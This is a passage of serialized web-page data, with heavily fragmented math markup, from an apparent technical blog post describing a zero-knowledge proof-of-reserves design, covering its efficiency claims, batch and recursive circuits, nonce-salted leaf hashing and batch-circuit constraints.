points?",{"type":24,"tag":175,"props":99502,"children":99503},{},[99504,99514,99532,99542,99573],{"type":24,"tag":179,"props":99505,"children":99506},{},[99507,99512],{"type":24,"tag":188,"props":99508,"children":99509},{},[99510],{"type":29,"value":99511},"Transparency",{"type":29,"value":99513},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":24,"tag":179,"props":99515,"children":99516},{},[99517,99522,99524,99531],{"type":24,"tag":188,"props":99518,"children":99519},{},[99520],{"type":29,"value":99521},"Time-efficiency",{"type":29,"value":99523},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":24,"tag":57,"props":99525,"children":99528},{"href":99526,"rel":99527},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[61],[99529],{"type":29,"value":99530},"Check our benchmark",{"type":29,"value":66},{"type":24,"tag":179,"props":99533,"children":99534},{},[99535,99540],{"type":24,"tag":188,"props":99536,"children":99537},{},[99538],{"type":29,"value":99539},"Memory-efficiency",{"type":29,"value":99541},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":24,"tag":179,"props":99543,"children":99544},{},[99545,99550,99552,99557,99559,99564,99566,99571],{"type":24,"tag":188,"props":99546,"children":99547},{},[99548],{"type":29,"value":99549},"Small-proofs",{"type":29,"value":99551},": We were able to reduce the final proof to less than ",{"type":24,"tag":188,"props":99553,"children":99554},{},[99555],{"type":29,"value":99556},"500KB",{"type":29,"value":99558}," and each inclusion proof to ",{"type":24,"tag":188,"props":99560,"children":99561},{},[99562],{"type":29,"value":99563},"~52KB",{"type":29,"value":99565},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":24,"tag":188,"props":99567,"children":99568},{},[99569],{"type":29,"value":99570},"200MB",{"type":29,"value":99572}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":24,"tag":179,"props":99574,"children":99575},{},[99576,99581],{"type":24,"tag":188,"props":99577,"children":99578},{},[99579],{"type":29,"value":99580},"Privacy",{"type":29,"value":99582},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":24,"tag":228,"props":99584,"children":99586},{"id":99585},"zk-circuits",[99587],{"type":29,"value":99588},"ZK Circuits",{"type":24,"tag":25,"props":99590,"children":99591},{},[99592],{"type":29,"value":99593},"We use two different ZK circuits to generate the final proof:",{"type":24,"tag":175,"props":99595,"children":99596},{},[99597,99602],{"type":24,"tag":179,"props":99598,"children":99599},{},[99600],{"type":29,"value":99601},"Batch circuit",{"type":24,"tag":179,"props":99603,"children":99604},{},[99605],{"type":29,"value":99606},"Recursive circuit",{"type":24,"tag":25,"props":99608,"children":99609},{},[99610],{"type":29,"value":99611},"With those two circuits, we can generate the proofs recursive tree:",{"type":24,"tag":25,"props":99613,"children":99614},{},[99615],{"type":24,"tag":11511,"props":99616,"children":99618},{"alt":57299,"src":99617},"/posts/por/batch-circuit.png",[],{"type":24,"tag":1706,"props":99620,"children":99621},{},[99622],{"type":24,"tag":25,"props":99623,"children":99624},{},[99625,99627,99633,99635,99641],{"type":29,"value":99626},"Note: We are using 512 as ",{"type":24,"tag":284,"props":99628,"children":99630},{"className":99629},[],[99631],{"type":29,"value":99632},"BATCH_SIZE",{"type":29,"value":99634}," and 8 as ",{"type":24,"tag":284,"props":99636,"children":99638},{"className":99637},[],[99639],{"type":29,"value":99640},"RECURSIVE_SIZE",{"type":29,"value":99642}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":24,"tag":1706,"props":99644,"children":99645},{},[99646],{"type":24,"tag":25,"props":99647,"children":99648},{},[99649],{"type":29,"value":99650},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":24,"tag":25,"props":99652,"children":99653},{},[99654],{"type":29,"value":99655},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":24,"tag":235,"props":99657,"children":99659},{"id":99658},"leaf-nodes",[99660],{"type":29,"value":99661},"Leaf Nodes",{"type":24,"tag":25,"props":99663,"children":99664},{},[99665],{"type":29,"value":99666},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":24,"tag":25,"props":99668,"children":99669},{},[99670],{"type":24,"tag":284,"props":99671,"children":99673},{"className":99672},[2949,2950],[99674],{"type":24,"tag":327,"props":99675,"children":99677},{"className":99676},[2955],[99678],{"type":24,"tag":327,"props":99679,"children":99681},{"className":99680,"ariaHidden":2961},[2960],[99682,99709],{"type":24,"tag":327,"props":99683,"children":99685},{"className":99684},[2966],[99686,99691,99696,99700,99705],{"type":24,"tag":327,"props":99687,"children":99690},{"className":99688,"style":99689},[2971],"height:0.6944em;",[],{"type":24,"tag":327,"props":99692,"children":99694},{"className":99693},[2977,2978],[99695],{"type":29,"value":91072},{"type":24,"tag":327,"props":99697,"children":99699},{"className":99698,"style":2993},[2992],[],{"type":24,"tag":327,"props":99701,"children":99703},{"className":99702},[2998],[99704],{"type":29,"value":384},{"type":24,"tag":327,"props":99706,"children":99708},{"className":99707,"style":2993},[2992],[],{"type":24,"tag":327,"props":99710,"children":99712},{"className":99711},[2966],[99713,99718,99723,99729,99734,99739,99745,99750,99755,99760,99766,99771,99777,99783,99790,99796,99802,99862,99867,99873,99878,99883,99888,99893,99898,99903,99908,99913,99918,99975,99980,99985,99990,99995,100000,100005,100012,100017,100023,100028,100034,100040,100045,100050,100055,100060,100065,100070,100075,100080,100085,100090,100095,100100,100105,100110],{"type":24,"tag":327,"props":99714,"children":99717},{"className":99715,"style":99716},[2971],"height:1.06em;vertical-align:-0.31em;",[],{"type":24,"tag":327,"props":99719,"children":99721},{"className":99720,"style":2979},[2977,2978],[99722],{"type":29,"value":2982},{"type":24,"tag":327,"props":99724,"children":99726},{"className":99725},[2977,2978],[99727],{"type":29,"value":99728},"ose",{"type":24,"tag":327,"props":99730,"children":99732},{"className":99731},[2977,2978],[99733],{"type":29,"value":11334},{"type":24,"tag":327,"props":99735,"children":99737},{"className":99736},[2977,2978],[99738],{"type":29,"value":77289},{"type":24,"tag":327,"props":99740,"children":99742},{"className":99741},[2977,2978],[99743],{"type":29,"value":99744},"o",{"type":24,"tag":327,"props":99746,"children":99748},{"className":99747},[2977,2978],[99749],{"type":29,"value":63125},{"type":24,"tag":327,"props":99751,"children":99753},{"className":99752},[3121],[99754],{"type":29,"value":349},{"type":24,"tag":327,"props":99756,"children":99758},{"className":99757},[2977,2978],[99759],{"type":29,"value":57},{"type":24,"tag":327,"props":99761,"children":99763},{"className":99762},[2977,2978],[99764],{"type":29,"value":99765},"sse",{"type":24,"tag":327,"props":99767,"children":99769},{"className":99768},[2977,2978],[99770],{"type":29,"value":3134},{"type":24,"tag":327,"props":99772,"children":99775},{"className":99773,"style":99774},[2977],"margin-right:0.02778em;",[99776],{"type":29,"value":10692},{"type":24,"tag":327,"props":99778,"children":99780},{"className":99779},[2977,2978],[99781],{"type":29,"value":99782},"ba",{"type":24,"tag":327,"props":99784,"children":99787},{"className":99785,"style":99786},[2977,2978],"margin-right:0.01968em;",[99788],{"type":29,"value":99789},"l",{"type":24,"tag":327,"props":99791,"children":99793},{"className":99792},[2977,2978],[99794],{"type":29,"value":99795},"an",{"type":24,"tag":327,"props":99797,"children":99799},{"className":99798},[2977,2978],[99800],{"type":29,"value":99801},"ce",{"type":24,"tag":327,"props":99803,"children":99805},{"className":99804},[2977],[99806,99811],{"type":24,"tag":327,"props":99807,"children":99809},{"className":99808},[2977,2978],[99810],{"type":29,"value":18198},{"type":24,"tag":327,"props":99812,"children":99814},{"className":99813},[3032],[99815],{"type":24,"tag":327,"props":99816,"children":99818},{"className":99817},[3037,3038],[99819,99850],{"type":24,"tag":327,"props":99820,"children":99822},{"className":99821},[3043],[99823,99845],{"type":24,"tag":327,"props":99824,"children":99827},{"className":99825,"style":99826},[3048],"height:0.3011em;",[99828],{"type":24,"tag":327,"props":99829,"children":99831},{"style":99830},"top:-2.55em;margin-left:0em;margin-right:0.05em;",[99832,99836],{"type":24,"tag":327,"props":99833,"children":99835},{"className":99834,"style":3059},[3058],[],{"type":24,"tag":327,"props":99837,"children":99839},{"className":99838},[3064,3065,3066,3067],[99840],{"type":24,"tag":327,"props":99841,"children":99843},{"className":99842},[2977,3067],[99844],{"type":29,"value":2988},{"type":24,"tag":327,"props":99846,"children":99848},{"className":99847},[3150],[99849],{"type":29,"value":3153},{"type":24,"tag":327,"props":99851,"children":99853},{"className":99852},[3043],[99854],{"type":24,"tag":327,"props":99855,"children":99858},{"className":99856,"style":99857},[3048],"height:0.15em;",[99859],{"type":24,"tag":327,"props":99860,"children":99861},{},[],{"type":24,"tag":327,"props":99863,"children":99865},{"className":99864},[2992],[99866],{"type":29,"value":3093},{"type":24,"tag":327,"props":99868,"children":99870},{"className":99869},[2977],[99871],{"type":29,"value":99872},"∣∣",{"type":24,"tag":327,"props":99874,"children":99876},{"className":99875},[2992],[99877],{"type":29,"value":3093},{"type":24,"tag":327,"props":99879,"children":99881},{"className":99880},[2977,2978],[99882],{"type":29,"value":57},{"type":24,"tag":327,"props":99884,"children":99886},{"className":99885},[2977,2978],[99887],{"type":29,"value":99765},{"type":24,"tag":327,"props":99889,"children":99891},{"className":99890},[2977,2978],[99892],{"type":29,"value":3134},{"type":24,"tag":327,"props":99894,"children":99896},{"className":99895,"style":99774},[2977],[99897],{"type":29,"value":10692},{"type":24,"tag":327,"props":99899,"children":99901},{"className":99900},[2977,2978],[99902],{"type":29,"value":99782},{"type":24,"tag":327,"props":99904,"children":99906},{"className":99905,"style":99786},[2977,2978],[99907],{"type":29,"value":99789},{"type":24,"tag":327,"props":99909,"children":99911},{"className":99910},[2977,2978],[99912],{"type":29,"value":99795},{"type":24,"tag":327,"props":99914,"children":99916},{"className":99915},[2977,2978],[99917],{"type":29,"value":99801},{"type":24,"tag":327,"props":99919,"children":99921},{"className":99920},[2977],[99922,99927],{"type":24,"tag":327,"props":99923,"children":99925},{"className":99924},[2977,2978],[99926],{"type":29,"value":18198},{"type":24,"tag":327,"props":99928,"children":99930},{"className":99929},[3032],[99931],{"type":24,"tag":327,"props":99932,"children":99934},{"className":99933},[3037,3038],[99935,99964],{"type":24,"tag":327,"props":99936,"children":99938},{"className":99937},[3043],[99939,99959],{"type":24,"tag":327,"props":99940,"children":99942},{"className":99941,"style":99826},[3048],[99943],{"type":24,"tag":327,"props":99944,"children":99945},{"style":99830},[99946,99950],{"type":24,"tag":327,"props":99947,"children":99949},{"className":99948,"style":3059},[3058],[],{"type":24,"tag":327,"props":99951,"children":99953},{"className":99952},[3064,3065,3066,3067],[99954],{"type":24,"tag":327,"props":99955,"children":99957},{"className":99956},[2977,3067],[99958],{"type":29,"value":3238},{"type":24,"tag":327,"props":99960,"children":99962},{"className":99961},[3150],[99963],{"type":29,"value":3153},{"type":24,"tag":327,"props":99965,"children":99967},{"className":99966},[3043],[99968],{"type":24,"tag":327,"props":99969,"children":99971},{"className":99970,"style":99857},[3048],[99972],{"type":24,"tag":327,"props":99973,"children":99974},{},[],{"type":24,"tag":327,"props":99976,"children":99978},{"className":99977},[2992],[99979],{"type":29,"value":3093},{"type":24,"tag":327,"props":99981,"children":99983},{"className":99982},[2977],[99984],{"type":29,"value":1922},{"type":24,"tag":327,"props":99986,"children":99988},{"className":99987},[2992],[99989],{"type":29,"value":3093},{"type":24,"tag":327,"props":99991,"children":99993},{"className":99992},[2977],[99994],{"type":29,"value":99872},{"type":24,"tag":327,"props":99996,"children":99998},{"className":99997},[2992],[99999],{"type":29,"value":3093},{"type":24,"tag":327,"props":100001,"children":100003},{"className":100002,"style":3454},[2977,2978],[100004],{"type":29,"value":3457},{"type":24,"tag":327,"props":100006,"children":100009},{"className":100007,"style":100008},[2977,2978],"margin-right:0.08125em;",[100010],{"type":29,"value":100011},"H",{"type":24,"tag":327,"props":100013,"children":100015},{"className":100014},[2977,2978],[100016],{"type":29,"value":83494},{"type":24,"tag":327,"props":100018,"children":100020},{"className":100019},[2977],[100021],{"type":29,"value":100022},"256",{"type":24,"tag":327,"props":100024,"children":100026},{"className":100025},[3121],[100027],{"type":29,"value":349},{"type":24,"tag":327,"props":100029,"children":100031},{"className":100030},[2977,2978],[100032],{"type":29,"value":100033},"u",{"type":24,"tag":327,"props":100035,"children":100037},{"className":100036,"style":99774},[2977,2978],[100038],{"type":29,"value":100039},"ser",{"type":24,"tag":327,"props":100041,"children":100043},{"className":100042,"style":99774},[2977],[100044],{"type":29,"value":10692},{"type":24,"tag":327,"props":100046,"children":100048},{"className":100047},[2977,2978],[100049],{"type":29,"value":11334},{"type":24,"tag":327,"props":100051,"children":100053},{"className":100052},[2977,2978],[100054],{"type":29,"value":77289},{"type":24,"tag":327,"props":100056,"children":100058},{"className":100057},[3143],[100059],{"type":29,"value":3146},{"type":24,"tag":327,"props":100061,"children":100063},{"className":100062},[2992],[100064],{"type":29,"value":3093},{"type":24,"tag":327,"props":100066,"children":100068},{"className":100067},[2977],[100069],{"type":29,"value":99872},{"type":24,"tag":327,"props":100071,"children":100073},{"className":100072},[2992],[100074],{"type":29,"value":3093},{"type":24,"tag":327,"props":100076,"children":100078},{"className":100077},[2977,2978],[100079],{"type":29,"value":100033},{"type":24,"tag":327,"props":100081,"children":100083},{"className":100082,"style":99774},[2977,2978],[100084],{"type":29,"value":100039},{"type":24,"tag":327,"props":100086,"children":100088},{"className":100087,"style":99774},[2977],[100089],{"type":29,"value":10692},{"type":24,"tag":327,"props":100091,"children":100093},{"className":100092},[2977,2978],[100094],{"type":29,"value":63125},{"type":24,"tag":327,"props":100096,"children":100098},{"className":100097},[2977,2978],[100099],{"type":29,"value":99744},{"type":24,"tag":327,"props":100101,"children":100103},{"className":100102},[2977,2978],[100104],{"type":29,"value":63125},{"type":24,"tag":327,"props":100106,"children":100108},{"className":100107},[2977,2978],[100109],{"type":29,"value":99801},{"type":24,"tag":327,"props":100111,"children":100113},{"className":100112},[3143],[100114],{"type":29,"value":3146},{"type":24,"tag":25,"props":100116,"children":100117},{},[100118,100120,100126],{"type":29,"value":100119},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":24,"tag":284,"props":100121,"children":100123},{"className":100122},[],[100124],{"type":29,"value":100125},"uuid",{"type":29,"value":100127},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":24,"tag":235,"props":100129,"children":100131},{"id":100130},"batch-circuit",[100132],{"type":29,"value":100133},"Batch Circuit",{"type":24,"tag":25,"props":100135,"children":100136},{},[100137],{"type":29,"value":100138},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":24,"tag":25,"props":100140,"children":100141},{},[100142],{"type":24,"tag":188,"props":100143,"children":100144},{},[100145],{"type":29,"value":100146},"Public Inputs",{"type":24,"tag":1380,"props":100148,"children":100149},{},[100150,100155,100160],{"type":24,"tag":179,"props":100151,"children":100152},{},[100153],{"type":29,"value":100154},"Asset prices in USD",{"type":24,"tag":179,"props":100156,"children":100157},{},[100158],{"type":29,"value":100159},"Merkle tree hash",{"type":24,"tag":179,"props":100161,"children":100162},{},[100163],{"type":29,"value":100164},"Summed asset balances",{"type":24,"tag":25,"props":100166,"children":100167},{},[100168],{"type":24,"tag":188,"props":100169,"children":100170},{},[100171],{"type":29,"value":100172},"Private Inputs",{"type":24,"tag":1380,"props":100174,"children":100175},{},[100176,100181],{"type":24,"tag":179,"props":100177,"children":100178},{},[100179],{"type":29,"value":100180},"Users balances",{"type":24,"tag":179,"props":100182,"children":100183},{},[100184],{"type":29,"value":100185},"Merkle tree leaves hashes",{"type":24,"tag":25,"props":100187,"children":100188},{},[100189],{"type":24,"tag":188,"props":100190,"children":100191},{},[100192],{"type":29,"value":100193},"Constraints",{"type":24,"tag":1380,"props":100195,"children":100196},{},[100197,100650,100818,101165,101563],{"type":24,"tag":179,"props":100198,"children":100199},{},[100200],{"type":24,"tag":284,"props":100201,"children":100203},{"className":100202},[2949,2950],[100204],{"type":24,"tag":327,"props":100205,"children":100207},{"className":100206},[2955],[100208],{"type":24,"tag":327,"props":100209,"children":100211},{"className":100210,"ariaHidden":2961},[2960],[100212,100351,100555],{"type":24,"tag":327,"props":100213,"children":100215},{"className":100214},[2966],[100216,100221,100226,100232,100237,100242,100247,100252,100257,100264,100269,100274,100279,100338,100342,100347],{"type":24,"tag":327,"props":100217,"children":100220},{"className":100218,"style":100219},[2971],"height:0.9695em;vertical-align:-0.31em;",[],{"type":24,"tag":327,"props":100222,"children":100224},{"className":100223},[2977,2978],[100225],{"type":29,"value":57},{"type":24,"tag":327,"props":100227,"children":100229},{"className":100228},[2977,2978],[100230],{"type":29,"value":100231},"cco",{"type":24,"tag":327,"props":100233,"children":100235},{"className":100234},[2977,2978],[100236],{"type":29,"value":100033},{"type":24,"tag":327,"props":100238,"children":100240},{"className":100239},[2977,2978],[100241],{"type":29,"value":63125},{"type":24,"tag":327,"props":100243,"children":100245},{"className":100244},[2977,2978],[100246],{"type":29,"value":3134},{"type":24,"tag":327,"props":100248,"children":100250},{"className":100249,"style":99774},[2977],[100251],{"type":29,"value":10692},{"type":24,"tag":327,"props":100253,"children":100255},{"className":100254},[2977,2978],[100256],{"type":29,"value":58175},{"type":24,"tag":327,"props":100258,"children":100261},{"className":100259,"style":100260},[2977,2978],"margin-right:0.03588em;",[100262],{"type":29,"value":100263},"q",{"type":24,"tag":327,"props":100265,"children":100267},{"className":100266},[2977,2978],[100268],{"type":29,"value":100033},{"type":24,"tag":327,"props":100270,"children":100272},{"className":100271},[2977,2978],[100273],{"type":29,"value":11334},{"type":24,"tag":327,"props":100275,"children":100277},{"className":100276},[2977,2978],[100278],{"type":29,"value":3134},{"type":24,"tag":327,"props":100280,"children":100282},{"className":100281},[2977],[100283,100288],{"type":24,"tag":327,"props":100284,"children":100286},{"className":100285,"style":100260},[2977,2978],[100287],{"type":29,"value":10722},{"type":24,"tag":327,"props":100289,"children":100291},{"className":100290},[3032],[100292],{"type":24,"tag":327,"props":100293,"children":100295},{"className":100294},[3037,3038],[100296,100327],{"type":24,"tag":327,"props":100297,"children":100299},{"className":100298},[3043],[100300,100322],{"type":24,"tag":327,"props":100301,"children":100304},{"className":100302,"style":100303},[3048],"height:0.3117em;",[100305],{"type":24,"tag":327,"props":100306,"children":100308},{"style":100307},"top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;",[100309,100313],{"type":24,"tag":327,"props":100310,"children":100312},{"className":100311,"style":3059},[3058],[],{"type":24,"tag":327,"props":100314,"children":100316},{"className":100315},[3064,3065,3066,3067],[100317],{"type":24,"tag":327,"props":100318,"children":100320},{"className":100319},[2977,2978,3067],[100321],{"type":29,"value":11334},{"type":24,"tag":327,"props":100323,"children":100325},{"className":100324},[3150],[100326],{"type":29,"value":3153},{"type":24,"tag":327,"props":100328,"children":100330},{"className":100329},[3043],[100331],{"type":24,"tag":327,"props":100332,"children":100334},{"className":100333,"style":99857},[3048],[100335],{"type":24,"tag":327,"props":100336,"children":100337},{},[],{"type":24,"tag":327,"props":100339,"children":100341},{"className":100340,"style":2993},[2992],[],{"type":24,"tag":327,"props":100343,"children":100345},{"className":100344},[2998],[100346],{"type":29,"value":642},{"type":24,"tag":327,"props":100348,"children":100350},{"className":100349,"style":2993},[2992],[],{"type":24,"tag":327,"props":100352,"children":100354},{"className":100353},[2966],[100355,100359,100365,100370,100375,100380,100385,100390,100395,100400,100405,100410,100415,100420,100425,100430,100435,100440,100497,100502,100507,100512,100517,100522,100527,100532,100537,100542,100546,100551],{"type":24,"tag":327,"props":100356,"children":100358},{"className":100357,"style":99716},[2971],[],{"type":24,"tag":327,"props":100360,"children":100362},{"className":100361},[2977],[100363],{"type":29,"value":100364},"Σ",{"type":24,"tag":327,"props":100366,"children":100368},{"className":100367},[2992],[100369],{"type":29,"value":3093},{"type":24,"tag":327,"props":100371,"children":100373},{"className":100372},[2977,2978],[100374],{"type":29,"value":57},{"type":24,"tag":327,"props":100376,"children":100378},{"className":100377},[2977,2978],[100379],{"type":29,"value":100231},{"type":24,"tag":327,"props":100381,"children":100383},{"className":100382},[2977,2978],[100384],{"type":29,"value":100033},{"type":24,"tag":327,"props":100386,"children":100388},{"className":100387},[2977,2978],[100389],{"type":29,"value":63125},{"type":24,"tag":327,"props":100391,"children":100393},{"className":100392},[2977,2978],[100394],{"type":29,"value":3134},{"type":24,"tag":327,"props":100396,"children":100398},{"className":100397,"style":99774},[2977],[100399],{"type":29,"value":10692},{"type":24,"tag":327,"props":100401,"children":100403},{"className":100402},[2977,2978],[100404],{"type":29,"value":57},{"type":24,"tag":327,"props":100406,"children":100408},{"className":100407},[2977,2978],[100409],{"type":29,"value":99765},{"type":24,"tag":327,"props":100411,"children":100413},{"className":100412},[2977,2978],[100414],{"type":29,"value":3134},{"type":24,"tag":327,"props":100416,"children":100418},{"className":100417,"style":99774},[2977],[100419],{"type":29,"value":10692},{"type":24,"tag":327,"props":100421,"children":100423},{"className":100422},[2977,2978],[100424],{"type":29,"value":99782},{"type":24,"tag":327,"props":100426,"children":100428},{"className":100427,"style":99786},[2977,2978],[100429],{"type":29,"value":99789},{"type":24,"tag":327,"props":100431,"children":100433},{"className":100432},[2977,2978],[100434],{"type":29,"value":99795},{"type":24,"tag":327,"props":100436,"children":100438},{"className":100437},[2977,2978],[100439],{"type":29,"value":99801},{"type":24,"tag":327,"props":100441,"children":100443},{"className":100442},[2977],[100444,100449],{"type":24,"tag":327,"props":100445,"children":100447},{"className":100446},[2977,2978],[100448],{"type":29,"value":18198},{"type":24,"tag":327,"props":100450,"children":100452},{"className":100451},[3032],[100453],{"type":24,"tag":327,"props":100454,"children":100456},{"className":100455},[3037,3038],[100457,100486],{"type":24,"tag":327,"props":100458,"children":100460},{"className":100459},[3043],[100461,100481],{"type":24,"tag":327,"props":100462,"children":100464},{"className":100463,"style":100303},[3048],[100465],{"type":24,"tag":327,"props":100466,"children":100467},{"style":99830},[100468,100472],{"type":24,"tag":327,"props":100469,"children":100471},{"className":100470,"style":3059},[3058],[],{"type":24,"tag":327,"props":100473,"children":100475},{"className":100474},[3064,3065,3066,3067],[100476],{"type":24,"tag":327,"props":100477,"children":100479},{"className":100478},[2977,2978,3067],[100480],{"type":29,"value":11334},{"type":24,"tag":327,"props":100482,"children":100484},{"className":100483},[3150],[100485],{"type":29,"value":3153},{"type":24,"tag":327,"props":100487,"children":100489},{"className":100488},[3043],[100490],{"type":24,"tag":327,"props":100491,"children":100493},{"className":100492,"style":99857},[3048],[100494],{"type":24,"tag":327,"props":100495,"children":100496},{},[],{"type":24,"tag":327,"props":100498,"children":100500},{"className":100499},[3121],[100501],{"type":29,"value":11329},{"type":24,"tag":327,"props":100503,"children":100505},{"className":100504},[2977,2978],[100506],{"type":29,"value":57},{"type":24,"tag":327,"props":100508,"children":100510},{"className":100509},[2977,2978],[100511],{"type":29,"value":99765},{"type":24,"tag":327,"props":100513,"children":100515},{"className":100514},[2977,2978],[100516],{"type":29,"value":3134},{"type":24,"tag":327,"props":100518,"children":100520},{"className":100519,"style":99774},[2977],[100521],{"type":29,"value":10692},{"type":24,"tag":327,"props":100523,"children":100525},{"className":100524},[2977,2978],[100526],{"type":29,"value":63125},{"type":24,"tag":327,"props":100528,"children":100530},{"className":100529},[2977,2978],[100531],{"type":29,"value":100033},{"type":24,"tag":327,"props":100533,"children":100535},{"className":100534},[2977,2978],[100536],{"type":29,"value":57854},{"type":24,"tag":327,"props":100538,"children":100540},{"className":100539},[3143],[100541],{"type":29,"value":22934},{"type":24,"tag":327,"props":100543,"children":100545},{"className":100544,"style":3705},[2992],[],{"type":24,"tag":327,"props":100547,"children":100549},{"className":100548},[3710],[100550],{"type":29,"value":11673},{"type":24,"tag":327,"props":100552,"children":100554},{"className":100553,"style":3705},[2992],[],{"type":24,"tag":327,"props":100556,"children":100558},{"className":100557},[2966],[100559,100563,100568,100573,100578,100583,100588,100594,100599,100605,100610,100615,100620,100625,100630,100635,100640,100645],{"type":24,"tag":327,"props":100560,"children":100562},{"className":100561,"style":99716},[2971],[],{"type":24,"tag":327,"props":100564,"children":100566},{"className":100565},[2977,2978],[100567],{"type":29,"value":57},{"type":24,"tag":327,"props":100569,"children":100571},{"className":100570},[2977,2978],[100572],{"type":29,"value":99765},{"type":24,"tag":327,"props":100574,"children":100576},{"className":100575},[2977,2978],[100577],{"type":29,"value":3134},{"type":24,"tag":327,"props":100579,"children":100581},{"className":100580,"style":99774},[2977],[100582],{"type":29,"value":10692},{"type":24,"tag":327,"props":100584,"children":100586},{"className":100585},[2977,2978],[100587],{"type":29,"value":25},{"type":24,"tag":327,"props":100589,"children":100591},{"className":100590,"style":99774},[2977,2978],[100592],{"type":29,"value":100593},"r",{"type":24,"tag":327,"props":100595,"children":100597},{"className":100596},[2977,2978],[100598],{"type":29,"value":11334},{"type":24,"tag":327,"props":100600,"children":100602},{"className":100601},[2977,2978],[100603],{"type":29,"value":100604},"ces",{"type":24,"tag":327,"props":100606,"children":100608},{"className":100607},[3121],[100609],{"type":29,"value":11329},{"type":24,"tag":327,"props":100611,"children":100613},{"className":100612},[2977,2978],[100614],{"type":29,"value":57},{"type":24,"tag":327,"props":100616,"children":100618},{"className":100617},[2977,2978],[100619],{"type":29,"value":99765},{"type":24,"tag":327,"props":100621,"children":100623},{"className":100622},[2977,2978],[100624],{"type":29,"value":3134},{"type":24,"tag":327,"props":100626,"children":100628},{"className":100627,"style":99774},[2977],[100629],{"type":29,"value":10692},{"type":24,"tag":327,"props":100631,"children":100633},{"className":100632},[2977,2978],[100634],{"type":29,"value":63125},{"type":24,"tag":327,"props":100636,"children":100638},{"className":100637},[2977,2978],[100639],{"type":29,"value":100033},{"type":24,"tag":327,"props":100641,"children":100643},{"className":100642},[2977,2978],[100644],{"type":29,"value":57854},{"type":24,"tag":327,"props":100646,"children":100648},{"className":100647},[3143],[100649],{"type":29,"value":22934},{"type":24,"tag":179,"props":100651,"children":100652},{},[100653,100812,100813],{"type":24,"tag":284,"props":100654,"children":100656},{"className":100655},[2949,2950],[100657],{"type":24,"tag":327,"props":100658,"children":100660},{"className":100659},[2955],[100661],{"type":24,"tag":327,"props":100662,"children":100664},{"className":100663,"ariaHidden":2961},[2960],[100665,100798],{"type":24,"tag":327,"props":100666,"children":100668},{"className":100667},[2966],[100669,100673,100678,100683,100688,100693,100698,100703,100708,100713,100718,100723,100728,100785,100789,100794],{"type":24,"tag":327,"props":100670,"children":100672},{"className":100671,"style":100219},[2971],[],{"type":24,"tag":327,"props":100674,"children":100676},{"className":100675},[2977,2978],[100677],{"type":29,"value":57},{"type":24,"tag":327,"props":100679,"children":100681},{"className":100680},[2977,2978],[100682],{"type":29,"value":100231},{"type":24,"tag":327,"props":100684,"children":100686},{"className":100685},[2977,2978],[100687],{"type":29,"value":100033},{"type":24,"tag":327,"props":100689,"children":100691},{"className":100690},[2977,2978],[100692],{"type":29,"value":63125},{"type":24,"tag":327,"props":100694,"children":100696},{"className":100695},[2977,2978],[100697],{"type":29,"value":3134},{"type":24,"tag":327,"props":100699,"children":100701},{"className":100700,"style":99774},[2977],[100702],{"type":29,"value":10692},{"type":24,"tag":327,"props":100704,"children":100706},{"className":100705},[2977,2978],[100707],{"type":29,"value":58175},{"type":24,"tag":327,"props":100709,"children":100711},{"className":100710,"style":100260},[2977,2978],[100712],{"type":29,"value":100263},{"type":24,"tag":327,"props":100714,"children":100716},{"className":100715},[2977,2978],[100717],{"type":29,"value":100033},{"type":24,"tag":327,"props":100719,"children":100721},{"className":100720},[2977,2978],[100722],{"type":29,"value":11334},{"type":24,"tag":327,"props":100724,"children":100726},{"className":100725},[2977,2978],[100727],{"type":29,"value":3134},{"type":24,"tag":327,"props":100729,"children":100731},{"className":100730},[2977],[100732,100737],{"type":24,"tag":327,"props":100733,"children":100735},{"className":100734,"style":100260},[2977,2978],[100736],{"type":29,"value":10722},{"type":24,"tag":327,"props":100738,"children":100740},{"className":100739},[3032],[100741],{"type":24,"tag":327,"props":100742,"children":100744},{"className":100743},[3037,3038],[100745,100774],{"type":24,"tag":327,"props":100746,"children":100748},{"className":100747},[3043],[100749,100769],{"type":24,"tag":327,"props":100750,"children":100752},{"className":100751,"style":100303},[3048],[100753],{"type":24,"tag":327,"props":100754,"children":100755},{"style":100307},[100756,100760],{"type":24,"tag":327,"props":100757,"children":100759},{"className":100758,"style":3059},[3058],[],{"type":24,"tag":327,"props":100761,"children":100763},{"className":100762},[3064,3065,3066,3067],[100764],{"type":24,"tag":327,"props":100765,"children":100767},{"className":100766},[2977,2978,3067],[100768],{"type":29,"value":11334},{"type":24,"tag":327,"props":100770,"children":100772},{"className":100771},[3150],[100773],{"type":29,"value":3153},{"type":24,"tag":327,"props":100775,"children":100777},{"className":100776},[3043],[100778],{"type":24,"tag":327,"props":100779,"children":100781},{"className":100780,"style":99857},[3048],[100782],{"type":24,"tag":327,"props":100783,"children":100784},{},[],{"type":24,"tag":327,"props":100786,"children":100788},{"className":100787,"style":2993},[2992],[],{"type":24,"tag":327,"props":100790,"children":100792},{"className":100791},[2998],[100793],{"type":29,"value":2166},{"type":24,"tag":327,"props":100795,"children":100797},{"className":100796,"style":2993},[2992],[],{"type":24,"tag":327,"props":100799,"children":100801},{"className":100800},[2966],[100802,100807],{"type":24,"tag":327,"props":100803,"child